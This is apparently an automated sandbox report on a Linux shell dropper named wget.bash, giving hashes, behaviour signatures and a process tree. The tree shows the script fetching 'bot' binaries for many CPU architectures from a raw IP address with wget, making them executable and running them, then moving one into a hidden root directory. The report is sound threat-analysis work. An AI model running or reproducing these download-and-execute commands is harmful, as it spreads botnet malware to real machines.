Overview

overview

5

Static

static

wget.bash

ubuntu-18.04-amd64

5

wget.bash

debian-9-armhf

5

wget.bash

debian-9-mips

5

wget.bash

debian-9-mipsel

5

Resubmissions

09-08-2022 18:31

220809-w6eersgaa2 5

09-08-2022 18:18

220809-wxyr2sfgg7 5

Analysis

  • max time kernel
    0s
  • max time network
    668s
  • platform
    linux_amd64
  • resource
    ubuntu1804-amd64-en-20211208
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-en-20211208kernel:4.15.0-161-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    09-08-2022 18:31

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General

  • Target

    wget.bash

  • Size

    2KB

  • MD5

    9486bdff70b6ec6243b012a91e90c21e

  • SHA1

    2364e70ee0d49e4e641fa7428958f5907a8c26a3

  • SHA256

    2db0ba4efda0653533e32abca1417cafb84f58322dc8d4df183e64771626b826

  • SHA512

    e64e2324c403d967d3d04140bb0eba159e57b83db09fdd50e882a8edc595211837505c86c1d44a65d11b9c3a34c0d02496b3c06f264e1175e248397e9716b4bd

Score
5/10

Malware Config

Signatures

  • Reads runtime system information 3 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 1 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/wget.bash
    /tmp/wget.bash
    1⤵
    • Writes file to tmp directory
    PID:571
    • /usr/bin/wget
      wget http://109.206.241.211/bins/bot.mips
      2⤵
        PID:572
      • /bin/cat
        cat bot.mips
        2⤵
          PID:574
        • /bin/chmod
          chmod +x bot.mips fuwwyowo systemd-private-496b361196844d2b906d7a1389c0a1f4-systemd-resolved.service-B6MxME systemd-private-496b361196844d2b906d7a1389c0a1f4-systemd-timesyncd.service-1Gwp5Y wget.bash
          2⤵
            PID:575
          • ./fuwwyowo
            ./fuwwyowo ssh
            2⤵
              PID:576
            • /usr/bin/wget
              wget http://109.206.241.211/bins/bot.mpsl
              2⤵
                PID:578
              • /bin/cat
                cat bot.mpsl
                2⤵
                  PID:580
                • /bin/chmod
                  chmod +x bot.mips bot.mpsl fuwwyowo systemd-private-496b361196844d2b906d7a1389c0a1f4-systemd-resolved.service-B6MxME systemd-private-496b361196844d2b906d7a1389c0a1f4-systemd-timesyncd.service-1Gwp5Y wget.bash
                  2⤵
                    PID:581
                  • ./fuwwyowo
                    ./fuwwyowo ssh
                    2⤵
                      PID:582
                    • /usr/bin/wget
                      wget http://109.206.241.211/bins/bot.arm
                      2⤵
                        PID:584
                      • /bin/cat
                        cat bot.arm
                        2⤵
                          PID:590
                        • /bin/chmod
                          chmod +x bot.arm bot.mips bot.mpsl fuwwyowo systemd-private-496b361196844d2b906d7a1389c0a1f4-systemd-resolved.service-B6MxME systemd-private-496b361196844d2b906d7a1389c0a1f4-systemd-timesyncd.service-1Gwp5Y wget.bash
                          2⤵
                            PID:591
                          • ./fuwwyowo
                            ./fuwwyowo ssh
                            2⤵
                              PID:592
                            • /usr/bin/wget
                              wget http://109.206.241.211/bins/bot.arm5
                              2⤵
                                PID:594
                              • /bin/cat
                                cat bot.arm5
                                2⤵
                                  PID:596
                                • /bin/chmod
                                  chmod +x bot.arm bot.arm5 bot.mips bot.mpsl fuwwyowo systemd-private-496b361196844d2b906d7a1389c0a1f4-systemd-resolved.service-B6MxME systemd-private-496b361196844d2b906d7a1389c0a1f4-systemd-timesyncd.service-1Gwp5Y wget.bash
                                  2⤵
                                    PID:597
                                  • ./fuwwyowo
                                    ./fuwwyowo ssh
                                    2⤵
                                      PID:598
                                    • /usr/bin/wget
                                      wget http://109.206.241.211/bins/bot.arm6
                                      2⤵
                                        PID:600
                                      • /bin/cat
                                        cat bot.arm6
                                        2⤵
                                          PID:602
                                        • /bin/chmod
                                          chmod +x bot.arm bot.arm5 bot.arm6 bot.mips bot.mpsl fuwwyowo systemd-private-496b361196844d2b906d7a1389c0a1f4-systemd-resolved.service-B6MxME systemd-private-496b361196844d2b906d7a1389c0a1f4-systemd-timesyncd.service-1Gwp5Y wget.bash
                                          2⤵
                                            PID:603
                                          • ./fuwwyowo
                                            ./fuwwyowo ssh
                                            2⤵
                                              PID:604
                                            • /usr/bin/wget
                                              wget http://109.206.241.211/bins/bot.arm7
                                              2⤵
                                                PID:606
                                              • /bin/cat
                                                cat bot.arm7
                                                2⤵
                                                  PID:608
                                                • /bin/chmod
                                                  chmod +x bot.arm bot.arm5 bot.arm6 bot.arm7 bot.mips bot.mpsl fuwwyowo systemd-private-496b361196844d2b906d7a1389c0a1f4-systemd-resolved.service-B6MxME systemd-private-496b361196844d2b906d7a1389c0a1f4-systemd-timesyncd.service-1Gwp5Y wget.bash
                                                  2⤵
                                                    PID:609
                                                  • ./fuwwyowo
                                                    ./fuwwyowo ssh
                                                    2⤵
                                                      PID:610
                                                    • /usr/bin/wget
                                                      wget http://109.206.241.211/bins/bot.ppc
                                                      2⤵
                                                        PID:612
                                                      • /bin/cat
                                                        cat bot.ppc
                                                        2⤵
                                                          PID:614
                                                        • /bin/chmod
                                                          chmod +x bot.arm bot.arm5 bot.arm6 bot.arm7 bot.mips bot.mpsl bot.ppc fuwwyowo systemd-private-496b361196844d2b906d7a1389c0a1f4-systemd-resolved.service-B6MxME systemd-private-496b361196844d2b906d7a1389c0a1f4-systemd-timesyncd.service-1Gwp5Y wget.bash
                                                          2⤵
                                                            PID:615
                                                          • ./fuwwyowo
                                                            ./fuwwyowo ssh
                                                            2⤵
                                                              PID:616
                                                            • /usr/bin/wget
                                                              wget http://109.206.241.211/bins/bot.m68k
                                                              2⤵
                                                                PID:618
                                                              • /bin/cat
                                                                cat bot bot.m68k
                                                                2⤵
                                                                  PID:620
                                                                • /bin/chmod
                                                                  chmod +x bot.arm bot.arm5 bot.arm6 bot.arm7 bot.m68k bot.mips bot.mpsl bot.ppc fuwwyowo systemd-private-496b361196844d2b906d7a1389c0a1f4-systemd-resolved.service-B6MxME systemd-private-496b361196844d2b906d7a1389c0a1f4-systemd-timesyncd.service-1Gwp5Y wget.bash
                                                                  2⤵
                                                                    PID:621
                                                                  • ./fuwwyowo
                                                                    ./fuwwyowo ssh
                                                                    2⤵
                                                                      PID:622
                                                                    • /usr/bin/wget
                                                                      wget http://109.206.241.211/bins/bot.sh4
                                                                      2⤵
                                                                        PID:624
                                                                      • /bin/cat
                                                                        cat bot.sh4
                                                                        2⤵
                                                                          PID:626
                                                                        • /bin/chmod
                                                                          chmod +x bot.arm bot.arm5 bot.arm6 bot.arm7 bot.m68k bot.mips bot.mpsl bot.ppc bot.sh4 fuwwyowo systemd-private-496b361196844d2b906d7a1389c0a1f4-systemd-resolved.service-B6MxME systemd-private-496b361196844d2b906d7a1389c0a1f4-systemd-timesyncd.service-1Gwp5Y wget.bash
                                                                          2⤵
                                                                            PID:627
                                                                          • ./fuwwyowo
                                                                            ./fuwwyowo ssh
                                                                            2⤵
                                                                              PID:628
                                                                            • /usr/bin/wget
                                                                              wget http://109.206.241.211/bins/bot.spc
                                                                              2⤵
                                                                                PID:630
                                                                              • /bin/cat
                                                                                cat bot.spc
                                                                                2⤵
                                                                                  PID:632
                                                                                • /bin/chmod
                                                                                  chmod +x bot.arm bot.arm5 bot.arm6 bot.arm7 bot.m68k bot.mips bot.mpsl bot.ppc bot.sh4 bot.spc fuwwyowo systemd-private-496b361196844d2b906d7a1389c0a1f4-systemd-resolved.service-B6MxME systemd-private-496b361196844d2b906d7a1389c0a1f4-systemd-timesyncd.service-1Gwp5Y wget.bash
                                                                                  2⤵
                                                                                    PID:633
                                                                                  • ./fuwwyowo
                                                                                    ./fuwwyowo ssh
                                                                                    2⤵
                                                                                      PID:634
                                                                                    • /usr/bin/wget
                                                                                      wget http://109.206.241.211/bins/bot.x86_64
                                                                                      2⤵
                                                                                        PID:636
                                                                                      • /bin/cat
                                                                                        cat bot.x86_64
                                                                                        2⤵
                                                                                          PID:638
                                                                                        • /bin/chmod
                                                                                          chmod +x bot.arm bot.arm5 bot.arm6 bot.arm7 bot.m68k bot.mips bot.mpsl bot.ppc bot.sh4 bot.spc bot.x86_64 fuwwyowo systemd-private-496b361196844d2b906d7a1389c0a1f4-systemd-resolved.service-B6MxME systemd-private-496b361196844d2b906d7a1389c0a1f4-systemd-timesyncd.service-1Gwp5Y wget.bash
                                                                                          2⤵
                                                                                            PID:639
                                                                                          • ./fuwwyowo
                                                                                            ./fuwwyowo ssh
                                                                                            2⤵
                                                                                              PID:640
                                                                                          • /bin/sh
                                                                                            sh -c "mkdir /wlg76dsvkr/ && >/wlg76dsvkr/wlg76dsvkr && cd /wlg76dsvkr/ >/dev/null"
                                                                                            1⤵
                                                                                              PID:643
                                                                                              • /bin/mkdir
                                                                                                mkdir /wlg76dsvkr/
                                                                                                2⤵
                                                                                                • Reads runtime system information
                                                                                                PID:644
                                                                                            • /bin/sh
                                                                                              sh -c "mv /tmp/fuwwyowo /wlg76dsvkr/wlg76dsvkr && chmod 777 /wlg76dsvkr/wlg76dsvkr >/dev/null"
                                                                                              1⤵
                                                                                                PID:645
                                                                                                • /bin/mv
                                                                                                  mv /tmp/fuwwyowo /wlg76dsvkr/wlg76dsvkr
                                                                                                  2⤵
                                                                                                  • Reads runtime system information
                                                                                                  PID:646
                                                                                                • /bin/chmod
                                                                                                  chmod 777 /wlg76dsvkr/wlg76dsvkr
                                                                                                  2⤵
                                                                                                    PID:647

                                                                                                Network

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